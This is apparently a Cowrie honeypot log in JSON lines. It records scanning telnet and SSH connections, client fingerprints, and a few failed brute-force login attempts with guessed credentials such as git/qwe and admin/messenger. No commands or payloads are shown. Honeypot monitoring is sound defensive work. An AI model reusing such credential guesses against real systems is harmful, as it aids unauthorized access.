{"eventid":"cowrie.session.closed","duration":31.423636436462402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:31.822985Z","src_ip":"62.210.97.77","session":"1ad57b366db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2585289478302,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:32.177224Z","src_ip":"62.210.97.77","session":"559afa952ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.464987754821777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:32.197778Z","src_ip":"62.210.97.77","session":"30a0eb079e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53712,"dst_ip":"10.17.0.5","dst_port":23,"session":"111a4c686bca","protocol":"telnet","message":"New connection: 62.210.97.77:53712 (10.17.0.5:23) [session: 111a4c686bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:32.605009Z"}
{"eventid":"cowrie.session.closed","duration":31.431742668151855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:32.754661Z","src_ip":"94.156.33.203","session":"1ae8863a8c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.493896245956421,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:32.916591Z","src_ip":"65.60.27.33","session":"c4a307b65222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53714,"dst_ip":"10.17.0.5","dst_port":23,"session":"63036b545d36","protocol":"telnet","message":"New connection: 62.210.97.77:53714 (10.17.0.5:23) [session: 63036b545d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:34.167843Z"}
{"eventid":"cowrie.session.closed","duration":120.00145149230957,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:34.586370Z","src_ip":"134.209.8.29","session":"4cf866d9d67e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53718,"dst_ip":"10.17.0.5","dst_port":23,"session":"75777f3f7bbe","protocol":"telnet","message":"New connection: 62.210.97.77:53718 (10.17.0.5:23) [session: 75777f3f7bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:36.401845Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":46904,"dst_ip":"159.203.135.109","dst_port":22,"session":"727fcb23f27e","protocol":"ssh","message":"New connection: 69.164.217.74:46904 (159.203.135.109:22) [session: 727fcb23f27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:38.105818Z"}
{"eventid":"cowrie.session.closed","duration":34.55874466896057,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:38.469738Z","src_ip":"62.210.97.77","session":"84df86fb4ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37542,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfed454dd56d","protocol":"telnet","message":"New connection: 62.210.97.77:37542 (10.17.0.5:23) [session: dfed454dd56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:38.994840Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:39.228282Z","src_ip":"69.164.217.74","session":"727fcb23f27e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f89c752233","protocol":"telnet","message":"New connection: 62.210.97.77:37550 (10.17.0.5:23) [session: c7f89c752233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:39.499151Z"}
{"eventid":"cowrie.session.closed","duration":120.00142431259155,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:39.621866Z","src_ip":"134.209.8.29","session":"db7d3fbda20b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37554,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5babe19af1","protocol":"telnet","message":"New connection: 62.210.97.77:37554 (10.17.0.5:23) [session: 9b5babe19af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:39.922771Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54372,"dst_ip":"10.17.0.5","dst_port":23,"session":"592ad6044b1e","protocol":"telnet","message":"New connection: 65.60.27.33:54372 (10.17.0.5:23) [session: 592ad6044b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:40.021393Z"}
{"eventid":"cowrie.session.closed","duration":38.30054593086243,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:41.484083Z","src_ip":"62.210.97.77","session":"210a1d5555f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37560,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd392983320","protocol":"telnet","message":"New connection: 62.210.97.77:37560 (10.17.0.5:23) [session: edd392983320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:42.636342Z"}
{"eventid":"cowrie.session.closed","duration":34.28880333900452,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:42.964900Z","src_ip":"62.210.97.77","session":"b6a9687acb6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41572713851929,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:44.235172Z","src_ip":"62.210.97.77","session":"b599f200de52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59948,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f64786684d0","protocol":"telnet","message":"New connection: 65.60.27.33:59948 (10.17.0.5:23) [session: 0f64786684d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:45.032286Z"}
{"eventid":"cowrie.session.closed","duration":34.5502827167511,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:45.848222Z","src_ip":"62.210.97.77","session":"b1bb594356f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60306,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e4e7c918e3","protocol":"telnet","message":"New connection: 65.60.27.33:60306 (10.17.0.5:23) [session: 40e4e7c918e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:46.500901Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1666b3fd399a","protocol":"telnet","message":"New connection: 65.60.27.33:34698 (10.17.0.5:23) [session: 1666b3fd399a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:47.847317Z"}
{"eventid":"cowrie.session.closed","duration":7.893505334854126,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:47.914780Z","src_ip":"65.60.27.33","session":"592ad6044b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57692,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba510cd3de59","protocol":"telnet","message":"New connection: 62.210.97.77:57692 (10.17.0.5:23) [session: ba510cd3de59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:49.461431Z"}
{"eventid":"cowrie.session.closed","duration":35.87313175201416,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:49.591017Z","src_ip":"62.210.97.77","session":"bfc84fa9bd73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77701282501221,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:50.294302Z","src_ip":"62.210.97.77","session":"50a92f546fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57708,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ba9332f63d","protocol":"telnet","message":"New connection: 62.210.97.77:57708 (10.17.0.5:23) [session: 47ba9332f63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:51.848829Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42980,"dst_ip":"10.17.0.5","dst_port":23,"session":"7387565040bd","protocol":"telnet","message":"New connection: 165.232.131.181:42980 (10.17.0.5:23) [session: 7387565040bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:52.478531Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb31be9f9d8b","protocol":"telnet","message":"New connection: 65.60.27.33:40700 (10.17.0.5:23) [session: cb31be9f9d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:52.946896Z"}
{"eventid":"cowrie.session.closed","duration":6.966014385223389,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:54.813211Z","src_ip":"65.60.27.33","session":"1666b3fd399a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57744,"dst_ip":"159.203.135.109","dst_port":23,"session":"eabecf0cbcb2","protocol":"telnet","message":"New connection: 134.209.8.29:57744 (159.203.135.109:23) [session: eabecf0cbcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:55.448482Z"}
{"eventid":"cowrie.session.closed","duration":39.45825552940369,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:55.638664Z","src_ip":"65.60.27.33","session":"6bf7f7b7bdfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.810590744018555,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:55.895847Z","src_ip":"165.232.131.181","session":"603577d4bfd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54314374923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:56.668229Z","src_ip":"62.210.97.77","session":"e15388975c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10701537132263,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:57.423752Z","src_ip":"65.60.27.33","session":"6a49ff33b35c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57718,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ea965d0d9bc","protocol":"telnet","message":"New connection: 62.210.97.77:57718 (10.17.0.5:23) [session: 5ea965d0d9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:57.449159Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1a63e5fcf0","protocol":"telnet","message":"New connection: 62.210.97.77:57724 (10.17.0.5:23) [session: 2b1a63e5fcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:57.650548Z"}
{"eventid":"cowrie.session.closed","duration":36.99054193496704,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:59.135412Z","src_ip":"62.210.97.77","session":"13451bfced9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32864,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4865d103d7e","protocol":"telnet","message":"New connection: 62.210.97.77:32864 (10.17.0.5:23) [session: a4865d103d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:00.354544Z"}
{"eventid":"cowrie.session.closed","duration":32.17460870742798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:00.411852Z","src_ip":"62.210.97.77","session":"063c23dfc4dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32872,"dst_ip":"10.17.0.5","dst_port":23,"session":"3902d5ebca9a","protocol":"telnet","message":"New connection: 62.210.97.77:32872 (10.17.0.5:23) [session: 3902d5ebca9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:02.086592Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":43140,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e4463f53e2","protocol":"ssh","message":"New connection: 156.232.13.218:43140 (10.17.0.5:22) [session: 43e4463f53e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:02.947385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:02.952852Z","src_ip":"156.232.13.218","session":"43e4463f53e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:03.027020Z","src_ip":"156.232.13.218","session":"43e4463f53e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwe","message":"login attempt [git/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:03.344085Z","src_ip":"156.232.13.218","session":"43e4463f53e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26690570614","protocol":"telnet","message":"New connection: 65.60.27.33:52638 (10.17.0.5:23) [session: a26690570614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:03.368066Z"}
{"eventid":"cowrie.session.closed","duration":34.796377658843994,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:03.621381Z","src_ip":"62.210.97.77","session":"de963b378400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":41514,"dst_ip":"10.17.0.5","dst_port":22,"session":"82b5f7606001","protocol":"ssh","message":"New connection: 45.78.198.206:41514 (10.17.0.5:22) [session: 82b5f7606001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:03.778781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:03.784653Z","src_ip":"45.78.198.206","session":"82b5f7606001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91119194030762,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:04.194647Z","src_ip":"62.210.97.77","session":"762fbbd03957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:04.417192Z","src_ip":"156.232.13.218","session":"43e4463f53e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56498,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22232d7e03c","protocol":"telnet","message":"New connection: 134.209.8.29:56498 (159.203.135.109:23) [session: e22232d7e03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:05.389086Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45186,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d82740befc","protocol":"telnet","message":"New connection: 165.232.131.181:45186 (10.17.0.5:23) [session: 12d82740befc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:05.944793Z"}
{"eventid":"cowrie.session.closed","duration":43.238120794296265,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:06.197034Z","src_ip":"38.54.119.93","session":"c32f609785dd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:06.905585Z","src_ip":"45.78.198.206","session":"82b5f7606001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.13048577308655,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:07.400645Z","src_ip":"62.210.97.77","session":"2ab3b3c0440f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"messenger","message":"login attempt [admin/messenger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:07.620136Z","src_ip":"45.78.198.206","session":"82b5f7606001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.895243644714355,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:07.895215Z","src_ip":"65.60.27.33","session":"ff5d545552f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88150668144226,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:08.049250Z","src_ip":"62.210.97.77","session":"63036b545d36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32880,"dst_ip":"10.17.0.5","dst_port":23,"session":"9577378b920a","protocol":"telnet","message":"New connection: 62.210.97.77:32880 (10.17.0.5:23) [session: 9577378b920a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:08.239981Z"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:08.862056Z","src_ip":"45.78.198.206","session":"82b5f7606001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1255712509155273,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.070250Z","src_ip":"165.232.131.181","session":"12d82740befc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.179","src_port":23556,"dst_ip":"159.203.135.109","dst_port":22,"session":"79a4f4555178","protocol":"ssh","message":"New connection: 45.79.181.179:23556 (159.203.135.109:22) [session: 79a4f4555178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.086913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.159446Z","src_ip":"45.79.181.179","session":"79a4f4555178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.165909Z","src_ip":"45.79.181.179","session":"79a4f4555178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.223","src_port":33692,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf94ad54130a","protocol":"ssh","message":"New connection: 45.79.181.223:33692 (10.17.0.5:22) [session: cf94ad54130a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.198498Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.394259Z","src_ip":"45.79.181.179","session":"79a4f4555178","protocol":"ssh"}
